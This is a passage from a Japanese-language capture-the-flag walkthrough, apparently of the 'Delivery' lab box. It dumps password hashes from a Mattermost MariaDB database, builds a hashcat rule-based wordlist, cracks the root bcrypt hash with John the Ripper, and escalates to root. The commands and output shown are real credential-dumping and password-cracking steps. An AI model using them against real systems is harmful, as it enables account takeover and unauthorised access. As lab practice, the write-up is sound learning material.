Your MariaDB connection id is 141
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDBとして入ることに成功した。探索していく。

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mattermost         |
+--------------------+
2 rows in set (0.000 sec)

MariaDB [(none)]> use mattermost;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [mattermost]> SHOW tables;
+------------------------+
| Tables_in_mattermost   |
+------------------------+
| Audits                 |
| Bots                   |
| ChannelMemberHistory   |
| ChannelMembers         |
| Channels               |
| ClusterDiscovery       |
| CommandWebhooks        |
| Commands               |
| Compliances            |
| Emoji                  |
| FileInfo               |
| GroupChannels          |
| GroupMembers           |
| GroupTeams             |
| IncomingWebhooks       |
| Jobs                   |
| Licenses               |
| LinkMetadata           |
| OAuthAccessData        |
| OAuthApps              |
| OAuthAuthData          |
| OutgoingWebhooks       |
| PluginKeyValueStore    |
| Posts                  |
| Preferences            |
| ProductNoticeViewState |
| PublicChannels         |
| Reactions              |
| Roles                  |
| Schemes                |
| Sessions               |
| SidebarCategories      |
| SidebarChannels        |
| Status                 |
| Systems                |
| TeamMembers            |
| Teams                  |
| TermsOfService         |
| ThreadMemberships      |
| Threads                |
| Tokens                 |
| UploadSessions         |
| UserAccessTokens       |
| UserGroups             |
| UserTermsOfService     |
| Users                  |
+------------------------+
46 rows in set (0.001 sec)

MariaDB [mattermost]> describe Users;
+--------------------+--------------+------+-----+---------+-------+
| Field              | Type         | Null | Key | Default | Extra |
+--------------------+--------------+------+-----+---------+-------+
| Id                 | varchar(26)  | NO   | PRI | NULL    |       |
| CreateAt           | bigint(20)   | YES  | MUL | NULL    |       |
| UpdateAt           | bigint(20)   | YES  | MUL | NULL    |       |
| DeleteAt           | bigint(20)   | YES  | MUL | NULL    |       |
| Username           | varchar(64)  | YES  | UNI | NULL    |       |
| Password           | varchar(128) | YES  |     | NULL    |       |
| AuthData           | varchar(128) | YES  | UNI | NULL    |       |
| AuthService        | varchar(32)  | YES  |     | NULL    |       |
| Email              | varchar(128) | YES  | UNI | NULL    |       |
| EmailVerified      | tinyint(1)   | YES  |     | NULL    |       |
| Nickname           | varchar(64)  | YES  |     | NULL    |       |
| FirstName          | varchar(64)  | YES  |     | NULL    |       |
| LastName           | varchar(64)  | YES  |     | NULL    |       |
| Position           | varchar(128) | YES  |     | NULL    |       |
| Roles              | text         | YES  |     | NULL    |       |
| AllowMarketing     | tinyint(1)   | YES  |     | NULL    |       |
| Props              | text         | YES  |     | NULL    |       |
| NotifyProps        | text         | YES  |     | NULL    |       |
| LastPasswordUpdate | bigint(20)   | YES  |     | NULL    |       |
| LastPictureUpdate  | bigint(20)   | YES  |     | NULL    |       |
| FailedAttempts     | int(11)      | YES  |     | NULL    |       |
| Locale             | varchar(5)   | YES  |     | NULL    |       |
| Timezone           | text         | YES  |     | NULL    |       |
| MfaActive          | tinyint(1)   | YES  |     | NULL    |       |
| MfaSecret          | varchar(128) | YES  |     | NULL    |       |
+--------------------+--------------+------+-----+---------+-------+
25 rows in set (0.001 sec)

この中で気になるのは、id username passwordあたりだ。抜き出してみる。

MariaDB [mattermost]> select id, username, password from Users;
+----------------------------+----------------------------------+--------------------------------------------------------------+
| id                         | username                         | password                                                     |
+----------------------------+----------------------------------+--------------------------------------------------------------+
| 64nq8nue7pyhpgwm99a949mwya | surveybot                        |                                                              |
| 6akd5cxuhfgrbny81nj55au4za | c3ecacacc7b94f909d04dbfd308a9b93 | $2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK |
| 6wkx1ggn63r7f8q1hpzp7t4iiy | 5b785171bfb34762a933e127630c4860 | $2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G |
| dijg7mcf4tf3xrgxi5ntqdefma | root                             | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO |
| e4i5d8rdwibcmgm35r5j3jxejh | limitedchan                      | $2a$10$K.q13JU.kZOMQWLW9IU8b.k8009yJMzan8tLREiZxhQw5aV.3TaNK |
| hatotzdacb8mbe95hm4ei8i7ny | ff0a21fc6fc2488195e16ea854c963ee | $2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq |
| jing8rk6mjdbudcidw6wz94rdy | channelexport                    |                                                              |
| n9magehhzincig4mm97xyft9sc | 9ecfb4be145d47fda0724f697f35ffaf | $2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm |
+----------------------------+----------------------------------+--------------------------------------------------------------+
8 rows in set (0.001 sec)

rootのpasswordハッシュを見つけることができる。

Hashcat

先ほどのチャットログと③の内容から、Hashcatでwordlistを作成する。

Please create a program to help us stop re-using the same passwords everywhere... especially those that are a variant of "PleaseSubscribe!"

PleaseSubscribe! may not be in RockYou but if any hacker manages to get our hashes, they can use hashcat rules to easily crack all variations of common words or phrases.

┌──(kali㉿kali)-[~/Desktop/work]
└─$ touch pass.txt
                                                                                
┌──(kali㉿kali)-[~/Desktop/work]
└─$ vi pass.txt
                                                                                
┌──(kali㉿kali)-[~/Desktop/work]
└─$ cat pass.txt 
PleaseSubscribe!
                                                                                
┌──(kali㉿kali)-[~/Desktop/work]
└─$ hashcat --stdout --force pass.txt -r /usr/share/hashcat/rules/best64.rule > passwordlist.txt

リストは以下のようになる。

┌──(kali㉿kali)-[~/Desktop/work]
└─$ cat passwordlist.txt 
PleaseSubscribe!
!ebircsbuSesaelP
PLEASESUBSCRIBE!
pleaseSubscribe!
PleaseSubscribe!0
PleaseSubscribe!1
PleaseSubscribe!2
PleaseSubscribe!3
PleaseSubscribe!4
PleaseSubscribe!5
PleaseSubscribe!6
PleaseSubscribe!7
PleaseSubscribe!8
PleaseSubscribe!9
PleaseSubscribe!00
PleaseSubscribe!01
PleaseSubscribe!02
PleaseSubscribe!11
PleaseSubscribe!12
PleaseSubscribe!13
PleaseSubscribe!21
PleaseSubscribe!22
PleaseSubscribe!23
PleaseSubscribe!69
PleaseSubscribe!77
PleaseSubscribe!88
PleaseSubscribe!99
PleaseSubscribe!123
PleaseSubscribe!e
PleaseSubscribe!s
PleaseSubscribea
PleaseSubscribs
PleaseSubscriba
PleaseSubscriber
PleaseSubscribie
PleaseSubscrio
PleaseSubscriy
PleaseSubscri123
PleaseSubscriman
PleaseSubscridog
1PleaseSubscribe!
thePleaseSubscribe!
dleaseSubscribe!
maeaseSubscribe!
PleaseSubscribe!
PleaseSubscr1be!
Pl3as3Subscrib3!
PlaseSubscribe!
PlseSubscribe!
PleseSubscribe!
PleaeSubscribe!
Ples
Pleas1
PleaseSubscribe
PleaseSubscrib
PleaseSubscri
PleaseSubscriPleaseSubscri
PeaseSubscri
ribe
bscribe!easeSu
PleaseSubscri!
dleaseSubscrib
be!PleaseSubscri
ibe!
ribe!
cribcrib
tlea
asPasP
XleaseSubscribe!
SaseSubscribe!
PleaSu
PlesPles
asP
PlcrPlcr
PcSu
PleasS
PeSubs

rootのpasswordハッシュをrootpassという名前で保存しておこう。

┌──(kali㉿kali)-[~/Desktop/work]
└─$ touch rootpass.txt
                                                                                                                   
┌──(kali㉿kali)-[~/Desktop/work]
└─$ vi rootpass.txt 
                                                                                                                   
┌──(kali㉿kali)-[~/Desktop/work]
└─$ cat rootpass.txt 
$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO

John - Dictionary Attack

今回はJohnTheRipperを使用したが、Hashcatが使い慣れている場合はそちらでも構わない。

┌──(kali㉿kali)-[~/Desktop/work]
└─$ john --wordlist=passwordlist.txt rootpass.txt
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X2])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
PleaseSubscribe!21 (?)     
1g 0:00:00:00 DONE (2023-12-23 07:41) 1.388g/s 33.33p/s 33.33c/s 33.33C/s PleaseSubscribe!8..PleaseSubscribe!69
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

パスワードがPleaseSubscribe!21だと分かった。rootユーザーに変更する。

maildeliverer@Delivery:~$ su root
Password: 
root@Delivery:/home/maildeliverer# whoami
root

rootと返ってきた。rootFlagもゲットできる。

root@Delivery:/home/maildeliverer# cd
root@Delivery:~# ls -lta
total 44
-r--------  1 root root   33 Dec 26 11:01 root.txt
drwx------  5 root root 4096 Dec 26 11:01 .
drwxr-xr-x 19 root root 4096 Jul 14  2021 ..
drwxr-xr-x  3 root root 4096 Jul 14  2021 .cache
drwxr-xr-x  2 root root 4096 Jul 14  2021 .vim
drwx------  3 root root 4096 Jul 14  2021 .gnupg
lrwxrwxrwx  1 root root    9 Dec 28  2020 .bash_history -> /dev/null
-r--------  1 root root  382 Dec 28  2020 note.txt
-rwxr-x---  1 root root  103 Dec 26  2020 mail.sh
-rw-r-----  1 root root 1499 Dec 26  2020 py-smtp.py
-rw-r-----  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
root@Delivery:~# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX //32文字のRootFlag

あとがき

今回は脆弱性を主として悪用するboxではなかったため、いつもと違ったboxのようで非常に特徴的でした。SQL・Hashcat・JohnTheRipperの復習にもなりました。